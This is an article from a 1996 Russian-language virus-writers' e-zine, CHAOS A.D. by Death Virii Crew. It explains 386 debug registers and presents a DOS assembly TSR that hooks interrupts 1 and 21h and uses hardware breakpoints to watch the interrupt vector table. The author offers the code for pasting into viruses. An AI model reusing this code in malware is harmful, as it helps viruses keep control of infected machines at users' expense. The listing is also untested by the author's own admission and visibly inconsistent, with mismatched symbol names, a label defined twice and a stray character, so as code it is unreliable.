[Death Virii Crew] Presents CHAOS A.D. Vmag, Issue 1, May 1996 file 008 DEBUG регистры на 386 и выше, выше, выше... by T0RmenT0R Эта статья для тех кто вообще ничего не знает об этих регистрах, так что профессионалы не найдут здесь ничего нового. Несколько слов собственно о них самих. На процах 386 и выше существуют регистры отладки. Они позволяют , как видно из названия выполнять отладочные остановы пограммы как при выполнении кода программы так и при обращении к данным.Команда на которую указывает контрольная точка , может располагаться в ПЗУ и на участке кода с самогенера цией или кодированием. Шесть програмно доступных регистров отладки позволяют установить четыре адреса точек останова, создать условия при которых произой дет отладочное прерывание , прочитать состояние проца в контрольных точках. Эти регистры доступны в реальном и защищеном режимах на нулевом уровне приви легий (PL=0). Из V86 к ним обращатся нельзя т.к. выскочит 13-й эксепшн. Мрачно правда ? А теперь перейдем к вирям. Что из этих регистров можно себе хорошего взяь? Вот вам пример юзанья этих регсов: .model tiny .386p .code org 100h start: jmp boot dr_change db 'Fuck! Debug regs already used! ',"$" dr7_normst equ 00d0023f0h Disable_Mask equ 0fffff000h enable_mask equ 0ffffffffh int_numb_1 equ 1 Int_numb_2 equ 21h Intvct_1_old dd ? Intvct_2_old dd ? dr7_mask dd enable_mask ; Initdr32 macro drnumber,bkpoint xor eax,eax mov ecx,bkpoint ror ecx,16 mov ax,cx shl eax,4 xor cx,cx ror ecx,16 add eax,ecx mov dr&drnumber&,eax endm savereg macro pushad push ds push es endm loadreg macro pop es pop ds popad endm ;-------------- old_sp dw ? old_ss dw ? ;----------------------- ;Процедура обработки 1-ого прерывания int_default_2_isr: mov cs:[tmp],ax mov cs:[old_sp],sp mov ax,ss mov cs:[old_ss],ax mov ax,cs mov ss,ax mov sp,90h mov ax,cs:[tmp] savereg push cs pop ds ; ; ; tf_int equ 00004000h dr_chang_int equ 00002000h iv_2_w equ 00000004h isr_2_e equ 00000008h mov eax,dr6 test eax,tf_int je short next1 xor eax,eax mov dr6,eax mov ebx,dr7_normst mov dr7,ebx loadreg mov cs:[tmp],bp mov bp,cs:[old_ss] mov ss,bp mov sp,cs:[old_sp] cmp cs:[dr7_mask],Disable_mask jne dontcleartf mov cs:dr7_mask,enable_mask mov bp,sp and word ptr ss:[bp+4],0feffh mov bp,cs:[tmp] iret dontcleartf: jmp dword ptr cs:[intvct_1_old] next1: test eax,dr_chang_int je short next2 mov dx,offset dr_chang_msg mov ah,9 int 21h mov ebx,dr7_normst mov dr7,ebx jmp exit_1_isr next2: test eax,iv_2_w jz short next3 mov si,intnumb_2 jmp short writevctsub next3: test eax,isr_2_e jz short exit_1_isr mov si,int_numb_2 jmp short exit_1_isr writevctsub: mov bx,si shl bx,2 xor cx,cx mov es,cx initdr32 3,es:[bx] jmp short exit_1_isr exeisrsub: call int_2_isr mov dr7_mask,disable_mask exit_1_isr: xor eax,eax mov dr6,ax mov ebx,dr7_normst mov dr7,ebx loadreg mov cs:[tmp],bp mov bp,cs:[old_ss] mov ss,bp mov sp,cs:[old_sp] cmp cs:[dr7_mask],disable_mask jne dontsettf mov bp,sp or word ptr ss:[bp+4],0100h dontsettf: mov bp,cs:[tmp] iret ;Эта процедура вызывается по второму прерыванию int_default_2_isr proc nop iret int_default_2_isr endp int_2_isr proc pushf call dword ptr cs:[intvct_2_old] ret int_2_isr endp initdr16 macro drnumber,bkpoint xor eax,eax mov ax,cs shl eax,4 xor ebx,ebx mov bx,offset bkpoint add eax,ebx mov dr&drnumber&,eax endm initvar macro intnumber,brknumber mov bx,intnumber shl bx,2 xor cx,cx mov es,cx mov eax,es:[bx] mov intvct_&brknumber&_old,eax mov ax,cs mov word ptr es:[4*intnumber+2],ax mov word ptr es:[4*intnumber],offset int_default&brknumber&_isr endm boot: initvar intnumb_1,1 initvar intnumb_2,2 initdr16 3,int_default_2_isr\ xor edx,edx mov dx,intnumb_2*4 initdr32 2,edx ;clear dr6 xor eax,eax mov dr6,eax mov eax,dr7_normst mov dr7,eax mov dx,offset boot int 27h end start P.S. Это все еще не тестировалось так что pls не отзываться плохими словами. Эта прога является чисто илюстративной. Но вы можете ее вклеить в ваш вирий, проделав несколько изменений в ее листинге.